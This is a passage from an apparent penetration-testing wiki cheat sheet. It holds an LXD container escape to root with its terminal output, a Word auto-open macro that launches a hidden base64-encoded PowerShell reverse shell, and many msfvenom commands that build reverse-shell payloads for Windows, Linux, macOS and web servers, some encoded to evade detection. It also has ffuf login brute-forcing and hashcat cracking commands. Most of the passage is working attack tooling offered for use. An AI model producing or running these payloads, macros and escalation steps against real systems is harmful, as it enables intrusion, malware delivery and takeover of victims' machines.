alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
